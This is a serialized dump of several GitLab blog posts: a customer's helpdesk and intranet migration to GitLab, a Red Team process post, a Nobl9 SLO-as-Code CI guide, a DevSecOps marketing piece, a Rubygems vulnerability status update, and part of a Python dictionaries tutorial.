bespoke helpdesk platform and use GitLab for issue tracking. Here's [an epic](https://gitlab.com/groups/gitlab-org/-/epics/5323) I created just over two years ago to start discussing my plans.\n\nI built a bespoke migration tool using C#, which connects directly to the existing\nhelpdesk database and pushes the data into GitLab using the API. This includes:\n\n- groups (each company in our helpdesk will become a group in GitLab with a single `Helpdesk` project)\n- issues (every ticket in our helpdesk will become an issue in GitLab, estimates will be included and quotes converted to weights)\n- notes\n- attachments\n- time logs\n- labels (type, class, department, and \"status\" will be migrated to labels)\n\n### Helpdesk workflow\n\nAfter discussing different approaches with the GitLab team and the community, we came up with the first iteration of our workflow process. The status of tickets in our helpdesk system becomes scoped labels in GitLab. It looks similar to the following:\n\n![Workflow Issue Board](https://about.gitlab.com/images/blogimages/workflow-issue-board.png)\n\nWe have two relatively small teams so we can also leverage boards to distribute and manage\nwork within the team:\n\n![Department Issue Board](https://about.gitlab.com/images/blogimages/department-issue-board.png)\n\nWe will be leveraging the [GitLab Triage](https://gitlab.com/gitlab-org/ruby/gems/gitlab-triage)\nRubyGem and [Triage Ops](https://gitlab.com/gitlab-org/quality/triage-ops) project to handle\nreactive and scheduled automation, such as: \n\n- opening pending issues once they reach their due date (this field has been slightly repurposed)\n- nudging users when issues have been pended, but no due date has been assigned\n- nudging the team when issues have not been triaged (labeled, estimates/quotes attached, etc.)\n\nGitLab triage will run as a scheduled pipeline from inside of GitLab, and Triage Ops (formerly known as Triage Serverless) will run as webhooks in AWS Lambda (triggered by webhooks). We may potentially transition some of our existing customizations from C# to GitLab Triage/Triage Ops, too. \n\n## Building out CRM\n\nOne of the biggest challenges moving our helpdesk over to GitLab was the inability to tie issues to Customers. So, roughly a year ago, I decided to start building out a [Customer Relations Management](https://docs.gitlab.com/ee/user/crm/) (CRM) feature. \n\nYou can see some of the work that has gone into the CRM so far: [CRM Merged MRs](https://gitlab.com/gitlab-org/gitlab/-/merge_requests?scope=all&state=merged&label_name[]=CRM).\n\nIt’s surprising how much work is needed for what seems like a mostly simple feature. Despite careful planning, there were many surprises that caused significant headaches. I was hoping to formally release this in December 2021, but it looks like June 2022 is more feasible now.\n\n### Reporting\n\nCompared to our previous bespoke SQL Server Reporting Services (SSRS) report suite pulling directly from our helpdesk, reporting is very limited. We tried using SSRS with a SQL Server linked to our GitLab Postgres server, but kept hitting walls. We are now moving forward using Google Data Studio (with a direct database connection).\n\nAlthough we still have a way to go, we've managed to achieve some really great results.\n\n![Scheduled Pipelines Report](https://about.gitlab.com/images/blogimages/scheduled-pipelines-report.png)\n\nHere's an example of a report we've started to build to increase the visibility of our scheduled interfaces now that we're leveraging CI/CD more.\n\n### Challenges\n\nOne obstacle we were faced with was the inability to achieve a lot of our goals at the instance level. Some GitLab functionality is at the project level, some at the group, and some at an instance. As a result, we had to create a temporary single root group and create all groups beneath it. \n\n## Moving to Linux/Docker for CI/CD pipelines\n\nWe have almost moved completely to Linux/Docker for our CI/CD pipelines, using several custom images:\n\n- our [custom .NET image](https://gitlab.com/tickett/dotnet.core.selenium) simply adds chromedriver to the default `mcr.microsoft.com/dotnet/core/sdk:latest` image to add Selenium support for UI testing\n- our [custom Android/Gradle image](https://gitlab.com/tickett/docker-android-gradle) provides a stable build environment for our Clover apps (which require v1 APK signing no longer supported in Android Studio).\n\nYou can see sample `.gitlab-ci.yml` templates in the relevant projects.\n\nWe now have our test summary and [coverage visualization](https://docs.gitlab.com/ee/ci/testing/test_coverage_visualization.html) displayed in merge requests, which is a total game changer! \n\n## GitLab for intranet\n\nWe've been using SharePoint for as long as I can remember, and I'm not a fan.\n\nAs great as a WYSIWYG interface is, I believe it brings with it:\n\n- a lack of consistency\n- a pretty awful audit trail\n- no review/approval process\n\nSo let's try and learn from the best. Can we use GitLab pages? Absolutely!\n\nWe picked Hugo purely as it seems the most popular (most forked GitLab pages project template). Similarly, the [Relearn theme](https://themes.gohugo.io/themes/hugo-theme-relearn/) seems to be the most popular for docs. \n\nIt's still a work in progress, but we’re exploring a structure similar to:\n\n```text\nClients\n-Client A\n--System A\n--System B\n-Client B\n--System C\n--System D\nInternal\n-Process A\n-Process B\n```\n\nNot too dissimilar to GitLab, but hugely amplified, we want to pull multiple projects, not just our Hugo repo.\n\nThe following  is our `.gitlab-ci.yml`:\n\n```yaml\nimage: registry.gitlab.com/pages/hugo:latest\nvariables:\n GIT_SUBMODULE_STRATEGY: recursive\ngrab-docs:\n tags:\n   - docker\n image:\n   name: ruby:2.7.5-slim\n script:\n   - cd ${CI_PROJECT_DIR}\n   - gem install gitlab\n   - ruby grab_docs.rb\n artifacts:\n   untracked: true\n\ntest:lint:\n tags:\n   - docker\n image:\n   entrypoint: [\"\"]\n   name: davidanson/markdownlint-cli2\n script:\n   - cp $MARKDOWN_LINT_CONFIG ./.markdownlint-cli2.jsonc\n   - markdownlint-cli2 \"content/**/*.md\"\n needs:\n   - grab-docs\n\ntest:\n tags:\n   - docker\n script:\n   - apk add --update --no-cache git\n   - hugo\n except:\n   - master\n needs:\n   - test:lint\n\npages:\n tags:\n   - docker\n script:\n   - apk add --update --no-cache git\n   - hugo\n artifacts:\n   paths:\n     - public\n only:\n   - master\n needs:\n   - grab-docs\n   - test:lint\n```\n\nThe first `grab-docs` step runs a custom Ruby script to:\n\n- interrogate our GitLab instance, looping through all groups and projects\n- grab the `README.md` and `/doc` folder\n- add frontmatter for last update date and link to the repo \n- update and fix all markdown paths\n\n```ruby\n#!/usr/bin/env ruby\n\nrequire 'fileutils'\nrequire 'gitlab'\n\n$api = Gitlab.client(endpoint: ENV['PRODUCTION_API_ENDPOINT'], private_token: ENV['GITLAB_API_TOKEN'].to_s)\n$projects = $api.projects(per_page: 50)\n\ndef grab_files(project)\n file = $api.file_contents(project.id, 'README.md')\n return unless file&.start_with?('",[267,2704,4772],{"slug":14105,"featured":6,"template":678},"gitlab-heroes-unmasked-elevating-my-company-using-gitlab","content:en-us:blog:gitlab-heroes-unmasked-elevating-my-company-using-gitlab.yml","Gitlab Heroes Unmasked Elevating My Company Using Gitlab","en-us/blog/gitlab-heroes-unmasked-elevating-my-company-using-gitlab.yml","en-us/blog/gitlab-heroes-unmasked-elevating-my-company-using-gitlab",{"_path":14111,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":14112,"content":14118,"config":14123,"_id":14125,"_type":16,"title":14126,"_source":17,"_file":14127,"_stem":14128,"_extension":20},"/en-us/blog/how-we-run-red-team-operations-remotely",{"title":14113,"description":14114,"ogTitle":14113,"ogDescription":14114,"noIndex":6,"ogImage":14115,"ogUrl":14116,"ogSiteName":1180,"ogType":1181,"canonicalUrls":14116,"schema":14117},"How we run Red Team operations remotely","Our team shares the process and templates that drive our successful red team ops in our all-remote environment.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679403/Blog/Hero%20Images/pexels-andrey-grushnikov-707676_crop.jpg","https://about.gitlab.com/blog/how-we-run-red-team-operations-remotely","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How we run Red Team operations remotely\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Chris Moberly\"}],\n        \"datePublished\": \"2022-05-11\",\n      }",{"title":14113,"description":14114,"authors":14119,"heroImage":14115,"date":14120,"body":14121,"category":674,"tags":14122},[2266],"2022-05-11","\n\nAt GitLab, our [Red Team](/handbook/security/threat-management/red-team/#red-team-overview) conducts security exercises that emulate real-world threats. This gives us an opportunity to assess and improve our ability to deal with cyber attacks. \n\nThese types of exercises require a lot of planning, which is traditionally done by getting folks from multiple departments into the same room at the same time to discuss hypothetical scenarios and expected outcomes. Then, actually conducting the attacks and validating the detection/response capabilities is, once again, traditionally done by people who are physically sitting in the same space.\n\nLike many things at GitLab, we are not quite so traditional.\n\nEach member of our Red Team is separated from the others by a literal ocean, with about eight hours difference in local time between us. Our entire organization works remotely, and the various groups we need to involve in these exercises are spread across the world.\n\nWe understand our approach is unique. However, more of the workforce is moving to remote work models, so we recently spent some time writing down what works for us when doing these types of complex exercises asynchronously across time zones. Keep reading to see what we came up with and how you can use it yourself.\n\n## Defining an asynchronous workflow\n\nIf there is one thing we've learned about working remotely, it's that you need to write things down. In a traditional office, it's possible to have a back-and-forth conversation in a matter of minutes. Conversations across time zones and departments, however, can take days when you're not co-located. This is why we use [our public handbook](/handbook/) as a single source of truth for how we run the company and why we decided to use this same spot to document [how our Red Team will work to propose, plan and execute operations](/handbook/security/threat-management/red-team/purple-teaming/). \n\n![file name](https://about.gitlab.com/images/blogimages/red-team-process/purple-team-process.png){: .shadow.medium.center}\nPurple Team process\n{: .note.text-center}\n\nAs you can see, we've broken down the process of \"Purple Teaming\" into nine unique stages. Each of these stages is supported with [a GitLab issue template](https://gitlab.com/gitlab-com/gl-security/threatmanagement/redteam/redteam-public/red-team-issue-templates) that clearly explains what must be completed in order to move to the next stage.\n\nAt GitLab, we use the term \"Purple Teaming\" to describe an exercise where emulated attacks are done in the open: Everyone involved knows what the attack is, when it is coming, and exactly what techniques will be involved. When we perform more traditional \"Red Team\" exercises where stealth is involved, we use roughly the same process; only with less active participants.\n\nWhen we begin planning an operation, we open a new [epic on gitlab.com](https://docs.gitlab.com/ee/user/group/epics/). Inside that epic, we open nine new issues using the templates linked above. Everyone involved in the operation will have access to these issues, and everyone can clearly see what has been completed and what comes next.\n\n![file name](https://about.gitlab.com/images/blogimages/red-team-process/new-red-team-issue.png){: .shadow.medium.center}\nNew Red Team issue\n{: .note.text-center}\n\nWhile it may seem like a lot of stuffy process, this level of clarity and transparency gives us the freedom to focus more on the interesting work and less on figuring out who should be doing what next. Even better, the process is open source: Anyone with an idea for improvement can simply open a merge request to discuss. **This includes you: We would love to hear from the community to continually improve this process.**\n\n## Dive deeper into our workflows and templates\n\nOur Red Team makes an effort to share resources that others may find useful. Here are some links to the items we've discussed above:\n\n- [Purple Teaming in the GitLab handbook](/handbook/security/threat-management/red-team/purple-teaming/): what Purple Teaming means to us, why we do it, and what our workflow involves. We use roughly the same process for more traditional “Red Teaming” where stealth is involved.\n\n- [Red Team issue templates](https://gitlab.com/gitlab-com/gl-security/threatmanagement/redteam/redteam-public/red-team-issue-templates): These templates break down the details required to progress through each stage of our process. Feel free to fork the project and use them as you see fit. We're [open to contributions, so check out our tips on how to get started](https://gitlab.com/gitlab-com/gl-security/threatmanagement/redteam/redteam-public/red-team-issue-templates#contributing).\n\nIf you have thoughts about this process, or there are other Red Teaming topics you’d like us to tackle, please share in the comments below. Thank you for reading!\n\n\nCover image by [Andrey Grushnikov](https://www.pexels.com/@andrey-grushnikov-223358?utm_content=attributionCopyText&utm_medium=referral&utm_source=pexels) on [Pexels](https://www.pexels.com/photo/black-and-white-photo-of-clocks-707676/?utm_content=attributionCopyText&utm_medium=referral&utm_source=pexels)\n{: .note}\n",[674],{"slug":14124,"featured":6,"template":678},"how-we-run-red-team-operations-remotely","content:en-us:blog:how-we-run-red-team-operations-remotely.yml","How We Run Red Team Operations Remotely","en-us/blog/how-we-run-red-team-operations-remotely.yml","en-us/blog/how-we-run-red-team-operations-remotely",{"_path":14130,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":14131,"content":14137,"config":14145,"_id":14147,"_type":16,"title":14148,"_source":17,"_file":14149,"_stem":14150,"_extension":20},"/en-us/blog/enable-slos-as-code",{"title":14132,"description":14133,"ogTitle":14132,"ogDescription":14133,"noIndex":6,"ogImage":14134,"ogUrl":14135,"ogSiteName":1180,"ogType":1181,"canonicalUrls":14135,"schema":14136},"Enable SLO-as-Code with Nobl9 and GitLab","Learn how to take advantage of a streamlined SLO process and maintain a single source of truth for SLO definitions within your DevOps platform.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749669455/Blog/Hero%20Images/nobl9_1.jpg","https://about.gitlab.com/blog/enable-slos-as-code","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Enable SLO-as-Code with Nobl9 and GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Quan To\"},{\"@type\":\"Person\",\"name\":\"Jeremy Cooper\"},{\"@type\":\"Person\",\"name\":\"Ian Bartholomew\"}],\n        \"datePublished\": \"2022-05-09\",\n      }",{"title":14132,"description":14133,"authors":14138,"heroImage":14134,"date":14142,"body":14143,"category":736,"tags":14144},[14139,14140,14141],"Quan To","Jeremy Cooper","Ian Bartholomew","2022-05-09","\n\nNobl9 recently integrated with GitLab's CI to enable a consistent mechanism to publish Service Level Objectives (SLO) definitions from GitLab to Nobl9. With this SLO-as-Code integration, DevOps teams can take action when their error budgets are burning too fast or are about to be exhausted.\n\nIn today’s systems, 100% uptime isn’t realistic given the complex architectures and dependencies involved. SLOs enable you to define targets and have an error budget for tracking what's “good enough.” For example, you can target uptime of 99.9%, 99%, or even 95% because what truly matters is how much downtime or errors are acceptable before there is real customer impact.\n\nTypically when organizations think about SLO-as-Code, they must use separate products to ensure their SLO definitions are always in sync with whatever tool they are using. This usually includes running command-line tools manually or building custom integrations within their code repositories.    \n\nWith this CI configuration, every time you build your repo, GitLab will call [sloctl](https://docs.nobl9.com/sloctl-user-guide), our command-line tool, and push the SLO definition to Nobl9. Customers can continue using GitLab to version their SLO definitions and keep their SLOs consistent. This ensures your SLO definition will always be up to date with what’s in Nobl9 and removes any discrepancies over what the latest SLO definition actually is. SREs, engineers, and anyone using the SLOs can still debate what the targets need to be, but there will always be a definitive source of truth in your code repository on what the current definition is.\n\n## Getting started\n\nTo set this up in GitLab, follow these steps:\n\n**1.** Select Settings -> CI/CD, and click the Expand button next to Variables. \n\n![CICD_settings](https://about.gitlab.com/images/blogimages/nobl9_2.png)\n\n\n**2.** Add the following variables:\n\n- CLIENT_ID\n\n- CLIENT_SECRET\n\n- ACCESS_TOKEN\n\n- PROJECT \n\n- SLOCTL_YML\n\n\n**Note:** If you haven’t done so already, you’ll need to install sloctl. You can install the executable on your local machine by following the instructions in the [user guide](https://docs.nobl9.com/sloctl-user-guide#setting-up-sloctl). Once sloctl is installed, you can run the following command to retrieve your CLIENT_ID, CLIENT_SECRET, and ACCESS_TOKEN:\n\n\n    cat ~/.config/nobl9/config.toml\n\n\n    The PROJECT value is the name of the project inside Nobl9 that your SLO belongs \n    to.\n\n\n    The SLOCTL_YML value is the Nobl9 YAML file you want to push to Nobl9 on each \n    change.\n\n\n\n![install_sloctl](https://about.gitlab.com/images/blogimages/nobl9_3.png)\n\n\n\n**3.** Create the CI/CD job to apply the YAML, by going to CI/CD -> Jobs and clicking “Create CI/CD configuration file”. \n\n\n\n![create_config](https://about.gitlab.com/images/blogimages/nobl9_4.png)\n\n\n\nEnter the following code in the _.gitlab.ci.yml_ file:\n\n\n        variables:\n\n\n          CLIENT_ID: $NOBL9_CLIENT_ID\n\n\n          CLIENT_SECRET: $NOBL9_CLIENT_SECRET\n\n\n          ACCESS_TOKEN: $NOBL9_ACCESS_TOKEN\n\n\n          PROJECT: $NOBL9_PROJECT\n\n\n          SLOCTL_YML: $SLOCTL_YML\n\n\n        include:\n\n\n          - project: 'nobl9/nobl9-ci-template'\n\n\n            ref: main\n\n\n            file: '/nobl9.gitlab-ci.yml'\n\n\n\n\n**4.** Kick off a build. Any changes to the SLOCTL_YML file that you reference will now automatically be pushed to Nobl9 once the updates are committed.\n\nBy partnering with GitLab and providing a convenient CI script and a command-line tool for managing SLOs, Nobl9 has truly enabled SLO-as-Code. We encourage existing Nobl9 customers who use GitLab to give it a try. \n\nIf you haven’t experienced Nobl9 yet, you can sign up for a free 30-day trial at [nobl9.com/signup](http://nobl9.com/signup) to see all that it has to offer.\n\n_Quan To is Senior Director of Product Management, Jeremy Cooper is Senior Solutions Engineer, and Ian Bartholomew is SRE Manager at Nobl9._\n\nCover image by [Vardan Papikayan](https://unsplash.com/@varpap) on [Unsplash](https://unsplash.com/photos/JzE1dHEaAew)\n",[232,1384,4103],{"slug":14146,"featured":6,"template":678},"enable-slos-as-code","content:en-us:blog:enable-slos-as-code.yml","Enable Slos As Code","en-us/blog/enable-slos-as-code.yml","en-us/blog/enable-slos-as-code",{"_path":14152,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":14153,"content":14158,"config":14162,"_id":14164,"_type":16,"title":14165,"_source":17,"_file":14166,"_stem":14167,"_extension":20},"/en-us/blog/one-devops-platform-can-help-you-achieve-devsecops",{"title":14154,"description":14155,"ogTitle":14154,"ogDescription":14155,"noIndex":6,"ogImage":11938,"ogUrl":14156,"ogSiteName":1180,"ogType":1181,"canonicalUrls":14156,"schema":14157},"One DevOps platform can help you achieve DevSecOps","GitLab drives innovation in the AST market to secure cloud-native applications.","https://about.gitlab.com/blog/one-devops-platform-can-help-you-achieve-devsecops","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"One DevOps platform can help you achieve DevSecOps\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sandra Gittlen\"}],\n        \"datePublished\": \"2022-05-09\",\n      }",{"title":14154,"description":14155,"authors":14159,"heroImage":11938,"date":14142,"body":14160,"category":674,"tags":14161},[3281],"\n\nApplication security testing (AST) is a fast-moving and important area for software development. DevOps methodologies have spurred the need to integrate testing within the developer’s workflow. GitLab believes the more ingrained AST is in the software factory, the more secure applications will be and the easier it will be for companies to meet compliance demands. We believe our [strategic platform approach](/why-gitlab), where security and compliance are embedded in DevOps from planning to production, provides efficiency and value unmatched by traditional application security vendors.\n\nGartner® has named GitLab a Challenger in the [2022 Gartner Magic Quadrant™ for Application Security Testing](https://page.gitlab.com/resources-report-gartner-magic-quadrant-ast.html). According to Gartner, “a major driver for the evolution of the AST market is the need to support enterprise [DevSecOps](/topics/devsecops/) and cloud-native application initiatives.”\n\n“We are excited to see continued momentum for our unique approach that embeds security into the DevOps workflow,” says Hillary Benson, GitLab director of product management. This is the third year that GitLab has been recognized in the Gartner Magic Quadrant for Application Security Testing. “We believe that our recognition as a Challenger in the Magic Quadrant represents an evolving market understanding of the value of an approach that empowers and enables developers to find and fix vulnerabilities – and the simplicity of leveraging a DevOps platform to do so.”\n\n> **You can read more about the results and download a copy of the report by visiting [our commentary page](/analysts/gartner-ast22/).**\n\n\nGitLab’s complete DevOps platform approach provides automation needed by DevOps, along with policy and vulnerability management needed by security professionals. GitLab’s Ultimate tier provides an integrated, vetted, and managed set of scanners to meet the security and compliance needs of modern-day application development and [cloud-native](/topics/cloud-native/) environments. \n\n## A unique approach to AST\n\nWe continue to innovate in the application security space. Let’s look at how we’re different from many of the more traditional stand-alone AST technologies. It’s these very differences that provide benefits achievable by using a single platform for DevOps and security. For example: \n\nWe build comprehensive scans into the CI pipeline to enable a more interactive testing environment. This is a unique approach as others in the category focus their offering on instrumentation-based interactive AST. With GitLab, the developer gets a more complete view of the security flaws as they are created – when they are most efficiently resolved.\n\nSimilarly, while analysts place emphasis on lightweight spell-check-like SAST features, we have found that these features are less important to GitLab users, again because of our built-in approach. A metaphor may be helpful to explain. We are all accustomed to saving documents frequently so edits are not lost. Developers do the same while editing software. Changes made are “committed” frequently to the code repository. Upon hitting the ‘commit’ button, GitLab performs a true, [SAST scan](/direction/secure/static-analysis/sast/) on code changes, which gives developers instant and more complete feedback. And DevOps teams can choose to enable  [DAST scanning](https://docs.gitlab.com/ee/user/application_security/dast/) that uses GitLab’s review app feature to assess changes pre-merge. Similarly,  [dependencies](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/), containers, infrastructure as code, and more can all be scanned, at the push of the commit button.\n\nIn addition, GitLab also is keen on providing DevOps teams just-in-time education about vulnerabilities and fixes. Now, via partnerships with [Kontra](/blog/kontra-and-gitlab-integrate-vulnerability-education-into-the-devops-workflow/) and [Secure Code Warrior](/blog/heres-how-to-get-integrated-secure-coding-advice-in-gitlab/), GitLab provides developers with crisp training on how to mitigate the specific vulnerability they just created. This helps developers learn proper coding techniques instead of flagging the problem to figure out later.\n\n## Concentrating on compliance\n\nShifting compliance left and embedding it deep into the software development lifecycle, a.k.a. [continuous software compliance](/solutions/compliance/), is also a priority for GitLab.\n\n“We enable organizations to create policies that align with their compliance regulations and enforce them throughout the application development workflow,” Benson says. “Rather than juggling multiple policy enforcement applications, you have a single lens for visibility across the entire lifecycle.” For instance, a company can develop granular compliance pipeline policies that require a SAST to run for every commit in a certain project or a chain of MR approvals that developers can’t circumvent. “Those types of common controls and separation of duties simplify software audits and speed up application deployments.”\n\nGitLab is honored to be recognized in the Gartner Magic Quadrant, and will continue to empower and unite developers and security professionals alike using repeatable, defensible processes that automate security and compliance policies from development through production.\n\n> **[Start a free Ultimate trial](https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com&glm_content=default-saas-trial)**\n \n_Gartner, “Magic Quadrant for Application Security Testing,” Dale Gardner, Mark Horvath, Dionisio Zumerle, April 18, 2022. Gartner does not endorse any vendor, product or service depicted in our research publications, and does not advise technology users to select only those vendors with the highest ratings or other designation. Gartner research publications consist of the opinions of Gartner's research organization and should not be construed as statements of fact. Gartner disclaims all warranties, expressed or implied, with respect to this research, including any warranties of merchantability or fitness for a particular purpose. GARTNER and Magic Quadrant are registered trademarks and service marks of Gartner, Inc. and/or its affiliates in the U.S. and internationally and are used herein with permission. All rights reserved._\n\nCover image by [Fly:D](https://unsplash.com/photos/ZNOxwCEj5mw) on Unsplash\n{: .note}\n",[4103,943,1307,674,942],{"slug":14163,"featured":6,"template":678},"one-devops-platform-can-help-you-achieve-devsecops","content:en-us:blog:one-devops-platform-can-help-you-achieve-devsecops.yml","One Devops Platform Can Help You Achieve Devsecops","en-us/blog/one-devops-platform-can-help-you-achieve-devsecops.yml","en-us/blog/one-devops-platform-can-help-you-achieve-devsecops",{"_path":14169,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":14170,"content":14176,"config":14181,"_id":14183,"_type":16,"title":14184,"_source":17,"_file":14185,"_stem":14186,"_extension":20},"/en-us/blog/updates-regarding-rubygems-unauthorized-gem-takeover-for-some-gems-vulnerability",{"title":14171,"description":14172,"ogTitle":14171,"ogDescription":14172,"noIndex":6,"ogImage":14173,"ogUrl":14174,"ogSiteName":1180,"ogType":1181,"canonicalUrls":14174,"schema":14175},"The Rubygems unauthorized gem takeover vulnerability","Actions we've taken to investigate the Rubygems takeover vulnerability.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749666816/Blog/Hero%20Images/security-cover.png","https://about.gitlab.com/blog/updates-regarding-rubygems-unauthorized-gem-takeover-for-some-gems-vulnerability","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Updates regarding Rubygems ‘Unauthorized gem takeover for some gems’ vulnerability CVE-2022-29176\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2022-05-09\",\n      }",{"title":14177,"description":14172,"authors":14178,"heroImage":14173,"date":14142,"body":14179,"category":674,"tags":14180},"Updates regarding Rubygems ‘Unauthorized gem takeover for some gems’ vulnerability CVE-2022-29176",[711],"\n\nWe want to share the actions we’ve taken in response to the critical Rubygems ‘Unauthorized gem takeover for some gems’ vulnerability ([CVE-2022-29176](https://nvd.nist.gov/vuln/detail/CVE-2022-29176)). Upon becoming aware of the vulnerability within Rubygems.org, we immediately began our investigation and contacted Rubygems who quickly patched the vulnerability. Our Security team tested the usage of gems within our product and across our company and found gems within GitLab from [Rubygems.org](http://rubygems.org) were no longer vulnerable.\n\nAt this time, no malicious activity, exploitation, or indicators of compromise have been identified within GitLab.com and customer data. Further, our team’s review of gems used in the GitLab product showed no indication of compromise or integrity violations.\n\n**There is no action needed by GitLab.com or self-managed users.**\n\nOur teams are continuing to investigate and monitor this issue to help protect our products and customers. We will update this blog post and notify users via a GitLab security alert with any future, related updates.\n\n## More information \n* For more information about this vulnerability, see the Rubygems.org security advisory: [https://github.com/rubygems/rubygems.org/security/advisories/GHSA-hccv-rwq6-vh79](https://github.com/rubygems/rubygems.org/security/advisories/GHSA-hccv-rwq6-vh79). \n* If you've got a security question or concern, review [how to contact our Support team](/support/#contact-support).\n* [Subscribe to our security alerts mailing list](/company/contact/) (you’ll receive important security alerts and notifications via email).\n* For our recommended security practices for GitLab users, see our [“Security hygiene best practices” blog post](/blog/security-hygiene-best-practices-for-gitlab-users).\n* If you are an administrator of your own self-managed GitLab instance, consider reading our [secure configuration advice](/blog/gitlab-instance-security-best-practices/).\n\n",[674],{"slug":14182,"featured":6,"template":678},"updates-regarding-rubygems-unauthorized-gem-takeover-for-some-gems-vulnerability","content:en-us:blog:updates-regarding-rubygems-unauthorized-gem-takeover-for-some-gems-vulnerability.yml","Updates Regarding Rubygems Unauthorized Gem Takeover For Some Gems Vulnerability","en-us/blog/updates-regarding-rubygems-unauthorized-gem-takeover-for-some-gems-vulnerability.yml","en-us/blog/updates-regarding-rubygems-unauthorized-gem-takeover-for-some-gems-vulnerability",{"_path":14188,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":14189,"content":14194,"config":14199,"_id":14201,"_type":16,"title":14202,"_source":17,"_file":14203,"_stem":14204,"_extension":20},"/en-us/blog/learn-python-with-pj-part-4-dictionaries-and-files",{"title":14190,"description":14191,"ogTitle":14190,"ogDescription":14191,"noIndex":6,"ogImage":13867,"ogUrl":14192,"ogSiteName":1180,"ogType":1181,"canonicalUrls":14192,"schema":14193},"Learn Python with Pj! Part 4 - Dictionaries and Files","Our education evangelist Pj Metz continues his journey to learn how to code in Python.","https://about.gitlab.com/blog/learn-python-with-pj-part-4-dictionaries-and-files","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Learn Python with Pj! Part 4 - Dictionaries and Files\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"PJ Metz\"}],\n        \"datePublished\": \"2022-05-05\",\n      }",{"title":14190,"description":14191,"authors":14195,"heroImage":13867,"date":14196,"body":14197,"category":7715,"tags":14198},[12593],"2022-05-05","\n\nThis is the fourth installment in the Learn Python with Pj! series. Make sure to read:\n- [Part 1 - Getting started](/blog/learn-python-with-pj-part-1/)\n- [Part 2 - Lists and loops](/blog/learn-python-with-pj-part-2/)\n- [Part 3 - Functions and strings](/blog/learn-python-with-pj-part-3/)\n- [Part 5 - Build a hashtag tracker with the Twitter API](/blog/learn-python-with-pj-part-5-building-something-with-the-twitter-api/)\n\nI’ve learned a lot with Python so far, but when I learned dictionaries (sometimes shortened to dicts), I was really excited about what could be done. A dictionary in Python is a series of keys and values stored inside a single object. This is kind of like a super array; one that allows you to connect keys and values together in a single easily accessible source. Creating dictionaries from arrays can actually be very simple, too.\n\nIn this blog, I'll dig into how to create dictionaries and how to read and write files in the code.\n\n## Dictionaries\n\nDictionaries in Python are indicated by using curly braces, or as I like to call them, mustaches. `{ }` indicates that the list you’re looking at isn’t a list at all, but a dictionary. \n\n```python\nshows_and _characters = {\n    \"Bojack Horseman\": \"Todd\",\n    \"My Hero Academia\": \"Midoriya\"\n    \"Ozark\": \"Ruth\"\n    \"Arrested Development\": \"Tobias\",\n    \"Derry Girls\": \"Sister Michael\",\n    \"Tuca & Bertie\": \"Bertie\"\n    }\n```\n\nThis is a dictionary of my favorite TV shows and my favorite characters in that show. In this example, the key is on the left and the value is on the right. To access dictionaries, you use a similar call like you would for a list, except instead of an element number, you would put the key. `print(shows_and_characters[“Ozark”])` would print `Ruth` to the console. Additionally, both the key and value in this example are strings, but that’s not a requirement. Keys can be any immutable type, like strings, ints, floats, and tuples. Values don’t have this same restriction, therefore values can be a nested dictionary or a list, in addition to the types mentioned for keys. For instance, the following dictionary is a valid dictionary.\n\n```python\nshows_with_lists = {\n    \"Bojack Horseman\": [\"Todd\", \"Princess Carolyn\", \"Judah\", \"Diane\"],\n    \"My Hero Academia\": [\"Midoriya\", \"Shoto\", \"All Might\", \"Bakugo\", \"Kirishima\"],\n    \"Ozark\": [\"Ruth\", \"Jonah\", \"Wyatt\"],\n    \"Arrested Development\": [\"Tobias\", \"Gob\", \"Anne\", \"Maeby\"],\n    \"Derry Girls\": [\"Sister Michael\", \"Orla\", \"Erin\", \"Claire\", \"James\"],\n    \"Tuca & Bertie\": [\"Bertie\", \"Speckle\", \"Tuca\", \"Dakota\"]\n    }\n```\nIn this example, each value is a list. So if we tried to print the value for the key `”Derry Girls”`, we would see `[“Sister Michael”, “Orla”, “Erin”, “Claire”, “James”]` printed to the console. However, if we wanted the last element in the value list, we’d write `shows_with_lists[“Derry Girls”] [-1]`. This would print the last element in the list, which in this case is `James`. \n\nDictionaries can be written manually, or, if you have two lists, you can combine the `dict()` and `zip()` methods to make the lists into a dictionary. \n\n```python\nlist_of_shows = [\"Bojack Horseman\",\n                 \"My Hero Academia\",\n                 \"Ozark\",\n                 \"Arrested Development\",\n                 \"Derry Girls\",\n                 \"Tuca & Bertie\"]\nlist_of_characters = [[\"Todd\", \"Princess Carolyn\", \"Judah\", \"Diane\"],\n                      [\"Midoriya\", \"Shoto\", \"All Might\", \"Bakugo\", \"Kirishima\"],\n                      [\"Ruth\", \"Jonah\", \"Wyatt\"],\n                      [\"Tobias\", \"Gob\", \"Anne\", \"Maeby\"],\n                      [\"Sister Michael\", \"Orla\", \"Erin\", \"Claire\", \"James\"],\n                      [\"Bertie\", \"Speckle\", \"Tuca\", \"Dakota\"]]\n\ncombined_shows_characters = dict(zip(list_of_shows, list_of_characters))\n\nprint(combined_shows_characters)\n```\n\nThis is one way to create a dictionary. Another is called Dictionary Comprehension. This one is a little more work, but can be used in a variety of different ways, including using a bit of logic on a single list to generate a dictionary using that original list. Here’s how with two examples: one based on the above lists, and one with a single list and some logic. \n\n```python\nimport math\n\n#This is doing the same work as the above example, but using Dict Comprehension instead. \ncomprehension_shows_characters = { shows:characters for shows, characters in zip(list_of_shows, list_of_characters)  